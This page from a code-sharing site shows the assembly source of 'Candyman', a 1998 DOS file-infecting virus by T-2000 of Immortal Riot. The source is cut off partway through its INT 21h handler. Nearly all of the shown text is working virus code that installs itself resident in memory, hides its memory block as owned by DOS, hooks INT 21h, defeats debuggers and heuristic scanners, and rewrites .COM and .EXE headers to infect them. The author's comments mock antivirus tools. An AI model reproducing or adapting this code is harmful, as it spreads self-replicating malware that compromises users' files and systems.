📄 candyman.asm
字号:
;============================================================================
;
;
; NAME: Candyman v1.01
; TYPE: Full-mirror .COM & .EXE-infector.
; SIZE: 999 bytes.
; DATE: October - November 1998.
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; PAYLOAD: Nope, it's completely harmless.
; CPU: 286+
;
;
; After coding tons of conventional virii I felt like making something more
; original, quickly was decided for a mirror-type virus since there are only
; two more of these ever written (Mirror & Total Trash). The main difference
; between these two and my Candyman is the fact that Candyman works 100%
; independant, ie. it doesn't need any SFT's (Mirror), nor it doesn't have to
; maintain it's own filetables (Total Trash), this doesn't have to mean that
; Candyman is more viable in the wild, but in general it's more compatible
; with all the different DOS'es around.
;
;
; CAPABILITIES:
;
; - Full-mirror (network compatible).
; - Uses UMBs if available.
;
;
; NOD-Ice seems to be the only program which jams with Candyman resident, who
; cares, the bloody AV causes goddamn parity-errors all the time at my comp!
;
;
; ... And don't fuck around with the mirror, coz he *WILL* come...
;
;============================================================================
.MODEL TINY
.STACK 512
.286
.CODE
Virus_Size EQU (Virus_End - Start)
Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 512 + 15) / 16
Residency_Check EQU 0CA01h
Marker_Mem EQU 1998h
Marker_File EQU 9691h
Min_Size_Infect EQU 560
Lady_Di EQU 0DEADh ; She took her name a bit TOO seriously, heh.
START:
CALL Get_Delta ; Get our position in memory.
Anti_Debugger DB 0EAh
Get_Delta: POP SI
SUB SI, (Anti_Debugger - Start)
PUSHA
PUSH ES ; Save our PSP-segment.
MOV AX, Residency_Check ; Request residency-status.
INT 21h
CMP AX, Marker_Mem ; It's there? then abort
JE Exec_Host ; further TSR-installation.
MOV AX, 5802h ; Get UMB link-status.
INT 21h
CBW ; Save status at the stack.
PUSH AX
MOV AX, 5803h ; Add UMBs to memory-chain.
PUSH AX
MOV BX, 01h
INT 21h
MOV AX, 5800h ; Get allocation-strategy.
INT 21h
PUSH AX ; Save strategy on stack.
MOV AX, 5801h ; Set allocation strategy,
PUSH AX ; first fit, start with UMBs.
MOV BL, 80h
INT 21h
Try_Alloc_Mem: MOV AH, 48h ; Try to allocate the needed
MOV BX, Virus_Size_Mem ; memory.
INT 21h
JNC Copy_Virus_Up
MOV AH, 4Ah ; Get size of current block.
MOV BX, 0FFFFh
INT 21h
MOV AH, 4Ah ; Resize block.
SUB BX, Virus_Size_Mem + 1
INT 21h
JMP Try_Alloc_Mem ; Let's try again...
Copy_Virus_Up: MOV ES, AX ; Our allocated block.
DEC AX ; Get MCB of allocated block.
MOV DS, AX
XOR DI, DI
; Disguise our block.
MOV [DI.MCB_PSP], 08h ; Owner is DOS.
MOV [DI.MCB_Program], 'CS' ; System-code.
POP AX ; Restore allocation-
POP BX ; strategy (AX=5801h).
INT 21h
POP AX ; Restore UMB link-state,
POP BX ; (AX=5803h).
INT 21h
PUSH SI
MOV CX, Virus_Size ; Copy virus to allocated
CLD ; memory.
SEGCS
REP MOVSB
POP SI
PUSH ES
POP DS
MOV AX, 3521h ; Get address INT 21h.
INT 21h
MOV Int21h, BX ; Save address INT 21h.
MOV Int21h+2, ES
MOV AH, 25h ; Hook INT 21h.
MOV DX, OFFSET NewInt21h
INT 21h
Exec_Host: POP ES ; PSP of our host.
POPA
PUSH CS
POP DS
ADD SI, OFFSET Host_Bytes
CMP [SI.EXE_Mark], 'ZM' ; Determine host-type.
JE Exec_EXE
MOV DI, 100h ; Restore original bytes.
PUSH DI
MOV CX, (24 / 2)
CLD
REP MOVSW
XOR SI, SI
XOR DI, DI
RETN ; Pass control to .COM-host.
Exec_EXE: MOV DI, ES ; Get effective segment.
ADD DI, 10h
ADD [SI.Program_CS], DI ; Add effective segment.
ADD DI, [SI.Program_SS] ; Get original SS.
PUSH ES ; Restore DS.
POP DS
CLI ; Restore .EXE-stack.
MOV SS, DI
MOV SP, CS:[SI.Program_SP]
STI
XOR DI, DI
; Pass control to .EXE-host.
JMP DWORD PTR CS:[SI.Program_IP]
DB 'Speak my name 5 times in front of a mirror...'
; Returns CF set when handle in BX is not appropriate for infection.
Check_Handle_Inf:
MOV BP, SP ; Load BP with SP.
INC BP ; Adjust value, (coz we
INC BP ; CALLed this routine).
PUSH DS
PUSH CS
POP DS
MOV AX, 4201h ; Get current file-position
XOR CX, CX ; of handle in BX.
CWD
CALL OldInt21h
MOV File_Pos_Lo, AX ; Save original fileposition.
MOV File_Pos_Hi, DX
MOV AX, 4400h ; Get handle-info.
CALL OldInt21h
OR DL, DL ; Abort when it's not a file.
JS JNE_Bad_Handle
CALL Go_EOF ; Get filesize.
OR DX, DX ; It's bigger than 64k ?
JNZ Read_Header ; Yeah? that's OK.
CMP AX, Min_Size_Infect ; It's big enough?
JB JNE_Bad_Handle
Read_Header: CALL Go_BOF
PUSH CS
POP ES
MOV SI, OFFSET Header
MOV AH, 3Fh ; Read header.
MOV CL, 24
MOV DX, SI
CALL OldInt21h
PUSH SI
MOV DI, OFFSET Host_Bytes ; Save original header.
CLD
REP MOVSB
POP SI
CMP [SI.Checksum], Marker_File ; Already infected?
JE Bad_Handle
CMP [SI.EXE_Mark], 'ZM' ; It's an .EXE-file?
JE Mirror_EXE
CMP [SI.Jump], 0E9h ; Most .COM-files start
JNE_Bad_Handle: JNE Bad_Handle ; with a 16-bit JMP.
Mirror_COM: OR DX, DX ; Can't be greater than 64k.
JNZ Bad_Handle
; .COM isn't too big?
CMP AX, (65535 - (Virus_Size + 1024))
JA Bad_Handle
SUB AX, 3 ; Calculate displacement.
MOV [SI.Displacement], AX ; Store displacement, the
; JMP is already present.
JMP Good_Handle
Mirror_EXE: MOV AX, [SI.Header_Size_Mem] ; Calculate headersize.
MOV CL, 16
MUL CX
PUSH CX
XCHG DI, AX
PUSH DX
CALL Go_EOF
POP CX ; CX:DI = headersize.
SUB AX, DI ; Calculate size of image.
SBB DX, CX
POP CX ; Calculate virus' new CS:IP.
DIV CX ; (CX = 16).
MOV [SI.Program_IP], DX ; Set new CS:IP of host.
MOV [SI.Program_CS], AX
INC AX ; Anti-heuristic.
; Set new SS:SP.
MOV [SI.Program_SS], AX
MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16
ADD [SI.Min_Size_Mem], Virus_Size_Mem
CALL Go_EOF
ADD AX, Virus_Size ; Calculate infected size.
ADC DX, CX
MOV CH, 512 SHR 8 ; Calculate 512-byte pages.
DIV CX
OR DX, DX ; Precise division?
JZ No_Round
INC AX ; Upround 512-byte pages.
No_Round: MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX
Good_Handle: MOV [SI.Checksum], Marker_File ; Mark file as infected.
CALL Restore_File_Pos
POP ES ; Caller's readbuffer.
XOR CX, CX
MOV DI, [BP.Reg_AX]
SUB AX, DI ; Position before read.
SBB DX, CX
CLC
RETN
Bad_Handle: CALL Restore_File_Pos
POP ES
STC
RETN
; Hmmm... a destructive payload would fit this topic better don't you think?
DB 'Candyman, Candyman, Candyman, Candyman, ...'
Restore_File_Pos:
MOV AX, 4200h
MOV CX, 00h
File_Pos_Hi = WORD PTR $-2
MOV DX, 00h
File_Pos_Lo = WORD PTR $-2
JMP OldInt21h
Go_BOF:
MOV AX, 4200h
JMP Set_Pos
Go_EOF: MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD
OldInt21h: PUSHF
CALL DWORD PTR CS:Int21h
RETN
; I'm used to save the _whole_ header of the host, simply becoz most of my
; virii are all full-stealth... this should save the pigs some work also.
Host_Bytes DW 'ZM'
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW (Virus_Size_Mem * 16)
DW 0
DW OFFSET Carrier
DW 0
Author DB 'Written by T-2000 / Immortal Riot'
NewInt21h:
; ============= FIND FIRST/NEXT FCB =========================================
CMP AH, 11h ; Findfirst (FCB) ?
JB Check_4_Find_H
CMP AH, 12h ; Findnext (FCB) ?
JA Check_4_Find_H
Mirror_FCB: CALL OldInt21h
PUSHF ; Save all registers.
PUSHA
PUSH DS
PUSH ES
OR AL, AL ; Successful operation?
JNZ JNE_Exit_Mir_S
MOV AH, 2Fh ; Get DTA-address.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -